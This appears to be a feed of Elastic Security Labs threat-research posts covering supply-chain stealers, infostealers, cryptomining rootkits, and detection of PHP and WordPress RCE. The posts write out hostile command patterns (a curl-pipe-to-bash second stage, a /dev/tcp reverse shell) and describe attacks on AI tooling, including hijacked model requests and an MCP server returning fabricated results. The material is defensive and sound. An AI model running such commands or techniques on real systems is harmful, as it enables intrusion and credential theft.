Elastic Security Labs Threat Command detected a credential-stealing supply-chain attack using a malicious version of the Microsoft project agent-framework (1.26.1 and 1.26.2) at 3:41 PM EST on November 17, 2026. There appears to be an additional file (_telemetry.py and af_runtime_diag.py) added to the packages, aimed at Azure cloud workloads and CI/CD build agents.
It’s disguised as a harmless “runtime diagnostics helper”, but steals environment variables, credential files, OIDC tokens, and managed identity tokens. The attack chain exfiltrates to the endpoint: webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb.
If you installed agent-framework (1.26.1, 1.26.2), we recommend removing it, pinning to 1.26.0, and rotating any credentials accessible from that environment, since the release steals secrets and Azure tokens.
Package URL:
pypi.org/project/agent-frame…pypi.org/project/agent-frame…
User-Agent: af-runtime-diagnostics/1
AI-assisted intrusions aren't just about speed.
In this CyberStrikeAI case, 78 low/medium severity AWS alerts across 16 days highlight why high-signal correlation matter: connecting weaker signals to detect and disrupt an intrusion before it progresses.
elastic.co/security-labs/thr…
A cool research I worked on recently
Another case of #Ethereum smart #contracts being used for #C2 retrieval. They use an orchestrator that communications through Tor to manage miners and an NVML wrapper to feed fake GPU readings to monitoring tools
#MalwareAnalysis#ThreatIntel
We're tracking REF3364, a Linux cryptomining intrusion that combines custom malware with publicly available miners.
Full analysis by @soolidsnakee, with YARA rules for SANSAR and netns, MITRE ATT&CK mapping and IOCs: go.es.io/4sW0SYE
The actor abused an exposed Ray job agent, obtaining root and deploying the toolkit across 3 Linux GPU hosts.
The toolkit includes SANSAR, a Rust orchestrator that uses Tor for C2 and supervises CPU and GPU miners. Its command handlers support miner configuration and interactive shells.
The actor also deployed:
• A kernel rootkit that hides selected processes, files and socket entries
• An NVML wrapper that falsifies GPU readings
• netns, a separate backdoor that retrieves its C2 address from an Ethereum smart contract before connecting to the server directly
Using public blockchains to locate C2 infrastructure is a pattern we also discussed in our 2026 Threat Command quarterly report.
Two critical PHP RCEs are patched: CVE-2026-109618 and CVE-2026-109619, both CVSS 9.2.
• Fixed in 8.5.12, 8.4.27, 8.3.36, and 8.2.35.
You can still focus on detection coverage today.
Security Labs writeup (coverage + guidance): elastic.co/security-labs/thr…
Most PHP RCEs converge on the same outcome, whatever the bug: a web server process (php-fpm, php-cgi, apache2, httpd) doing something a request-serving daemon almost never does legitimately.
• a shell to confirm access: id, whoami, uname -a
• a second stage pulled in: curl http://... | bash
• a reverse shell: bash -i >& /dev/tcp//
• a webshell written into the web root
The bug class is public now: out-of-memory corruption, and stale state reused by the same worker. The behavior is what you detect.
We recently ran a different PHP RCE end-to-end (wp2shell): apache2 spawning dash to run id; whoami; hostname fired the exact rules that we suspect to catch php2shell. Payload Execution by Web Server kills the shell on the endpoint.
The Suspicious/Unusual Command, Child, and File Creation via Web Server rules stack on top.
(PHP did confirm partial php.ini mitigations. session.upload_progress.enabled=0 blocks the confirmed session paths only. Patch is still the fix.)
Patch to 8.5.12, 8.4.27, 8.3.36, or 8.2.35. Verify that the stack is enabled now.
Guidance + every rule link below.
FWIW we notified the event organizers before it took place. Not sure if a vetting process is feasible with the amount of events going on. But for future event-goers, please be mindful of what you run on your computer.
For anyone interested in a deep dive: elastic.co/security-labs/thr….
🚨NEW: According to a Singapore police report filed by an attendee, organizers using the names “Apex Accelerator” and “Stone Venture” promoted a crypto security event called “Don’t Get Played” during TOKEN2049 week.
They allegedly pressured attendees to install software that gave the organizers remote control of their computers.
571 IIS servers hijacked using machine keys from public docs.
@soolidsnakee and @k33b0i break down REF3927 at @virusbtn VB2026
• Today, 15:00 CEST in the Green room.
Talk abstract and kill chain outline: go.es.io/3Us9kSw
Full blog: go.es.io/4hZ5TKG
We identified a malicious npm package, apexacc/cli, which led us to an operation posing as a Web3 accelerator.
Read more about REF8801 by @k33b0i and @DanielStepanic : go.es.io/3TDeUBk
The fake accelerator spent months courting crypto founders with free Claude and Gemini credits.
Our supply-chain monitor caught the package. It was malicious from its first published version.
The 2 Apex packages we examined, and what they deliver:
• apexacc/cli: redirects OpenRouter-labeled model requests to an attacker-controlled API
• apexacc/audit: MCP server whose 18 tools return fabricated findings
• macOS payload: CloudSyncD backdoor
• Windows payload: infostealer that exfiltrates to Telegram
We asked the operation's scoring tool to rate a project that doesn't exist. It scored 51 in every category, and said its AI scorer was down.
KREMLIN is a multi-stage credential theft toolkit targeting Brazilian banking users.
New research from Elastic Security Labs (REF9334): go.es.io/4yfkg4R by @cyril_t_f and @andythevariable
The infection chain combines JavaScript loaders, an optional PE injector, and a custom C++ installer. The installer downloads and installs a malicious browser extension for Chrome and Edge and/or deploys an embedded PULSAR or REMCOS RAT. This malicious extension is then used for web-browser data interception and exfiltration.
KREMLIN resolves its C2 endpoints from Ethereum. Smart contracts store payload URLs and extension download locations as on-chain key-value pairs. The operators update endpoints by writing a new transaction.
The extension installation bypasses Chromium's integrity system. The installer launches Chrome under a debugger, recovers the App-Bound OSCrypt key from process memory, extracts the seed from resources.pak, then regenerates the HMACs and encrypted SHA-256 hashes that Secure Preferences requires. The extension registers silently with developer mode forced on.
Once active, it logs input fields, intercepts HTTP requests by configurable URL and method rules, injects attacker-controlled HTML, and exfiltrates intercepted data, cookies, and credentials over WebSocket and HTTP.
Elastic Security Labs Threat Command registered the network canary domain that operates as a kill switch. We observed thousands of implants from Brazil attempting to check in to this domain. Once this domain was live, the KREMLIN loaders crash before trying to update or install the final payload, temporarily disrupting this campaign.
The targeting is clear. Lure filenames impersonate PIX transfers, bank statements, and receipts from Banco do Brasil, Bradesco, Sicoob, Santander, C6 Bank, and PagBank. Ethereum transaction timestamps cluster in São Paulo working hours. Portuguese-language artifacts appear throughout the codebase.
Hijacked YouTube channels are pushing an emerging infostealer.
We're tracking #REVSTEALER: at least 17 compromised channels advertising free game cheats, funneling viewers to 2 malicious domains.
The stealer itself is built for long-term operation:
- Sandbox scoring: 10 weighted checks, self-terminates at a score of 7+
- App-Bound Encryption bypass: reads the decrypted key from browser memory under debugger control
- EtherHiding: fallback C2 stored in a Polygon smart contract, swappable without touching the binary
- Gaming focus: session cookies from Steam, Battlenet, and Roblox, feeding account resale markets
- 4,700 related samples hit VirusTotal in the past year.
Our team observed 4 follow-on modules that haven't been publicly documented until now.
Full analysis, whitepaper, YARA rule, and an IDAPython string decryption tool by @k33b0i, @soolidsnakee and @DanielStepanic:
Blog: go.es.io/4iJZRQe
Whitepaper: go.es.io/4xcanmZ
We reverse engineered malware built to kill our own EDR.
In August 2026, eSentire documented a ClickFix campaign selling a DLL sideloader as a service.
It drops a malicious mscoree.dll next to a signed Microsoft binary, vb7to8.exe. Windows loads the planted copy first. Attacker code then runs inside a trusted process.
The kit also ships a vulnerable driver (BYOVD) to disable EDR, including Elastic Endpoint.
So we rebuilt it. A NativeAOT .NET 7 library, exports faked, a module initializer that fires on load.
We dropped it beside vb7to8.exe and ran it.
Elastic Defend 9.5.0 flagged the load as DLL Hijack: Masquerading.
Detecting this before 9.5.0 took ~88 lines and a list of ~2,600 library names. Now it's one line.
MITRE ATT&CK: T1574.001 (Hijack Execution Flow: DLL), T1036 (Masquerading).
Reverse engineering walkthrough, the .NET rebuild, and the detection breakdownby @0xfluxsec and @django88_: go.es.io/4xw6o5G
Original campaign research by @eSentire.
A new Shai-Hulud campaign deployed a self-propagating worm across the npm supply chain.
Our supply chain monitor caught it yesterday, August 4th. The campaign targeted keyv: 600 million monthly downloads.
CHAINDROP activates on stolen npm tokens with write permissions, then backdoors every package the victim controls.
Over 400 npm packages compromised.
Full research and IOCs in the blog: go.es.io/4pUx39a
wp2shell PoCs went public within hours of disclosure, and we are seeing active exploitation.
Pre-auth RCE in WordPress Core. No plugins required.
CVE-2026-63030 and CVE-2026-60137.
We ran the Icex0 PoC end-to-end with Elastic Defend.
On the host, every run ends the same way.
The web server writes PHP under wp-content/plugins/, then spawns a shell.
4 rules caught it:
- Payload Execution by Web Server: EDR, kills the shell on launch
- PHP File Creation in WordPress Plugin Directory: catches the drop before execution
- Suspicious Command Execution via Web Server: flags discovery commands from the web parent
- Unusual Command Execution via Web Server: alerts on command lines the host has never run
The PoC self-cleans after running.
A missing plugin folder doesn't mean a clean host.
Patch to 7.0.2 or 6.9.5. Hunt the IOCs while tooling is still stock.
Full rule walkthrough, process lineage, and Attack Discovery correlation: go.es.io/4wW8NpB
7 trojanized repos targeting developers. Zero detections across every AV vendor.
Elastic Security Labs is tracking a new Contagious Interview campaign (REF9403) where DPRK-aligned actors distribute fake coding challenges through Slack job postings.
The repos masquerade as real Next.js e-commerce projects. The code was copied from a legitimate template called GoCart. The difference is steganography.
Base64 payload fragments are hidden inside HTML comments in SVG flag images. A script reassembles them alphabetically, decodes with a custom function, and runs on server start.
What deploys:
- Credential stealer targeting 25 crypto wallet extensions plus browser login data
- File stealer scanning for .env, .pem, .ssh, .aws, documents, images, shell history, and source code
- Socket. IO RAT providing real-time interactive shell access
- Clipboard stealer polling every 500ms, plus a Windows dropper downloading 3 disguised executables from the C2
Full analysis from Elastic Security Labs by @danielstepanic : go.es.io/4fqEhgp
TELEPUZ is a new modular malware spreading via CLICKFIX-VIDAR chains. Elastic Security Labs is tracking it.
Active since late April 2026. The delivery path: ClickFix social engineering tricks users into running a PowerShell command that downloads a VIDAR Go variant, which then fetches a lightweight stager and the main TELEPUZ payload.
The core DLL communicates over WebSockets and pulls additional modules from C2 on demand:
Keylogger
Stealer
Web injector: intercepts browser sessions via CDP and WebDriver BiDi, with default configs targeting financial form fields like IBANs
36 commands. Indirect syscalls. AMSI and ETW patching. NTDLL unhooking. Multiple UAC bypasses.
Still in active development: the shellcode injection command returns a TODO placeholder.
C2 infrastructure is small (2 domains), but fallback methods include Telegram channels, Steam profiles, DNS records, and a Polygon smart contract that doubles as a kill switch.
New builds hit VirusTotal daily. The C2 footprint is small, but this thing is moving fast for something that started 2 months ago.
Full technical analysis: go.es.io/4wg6i1p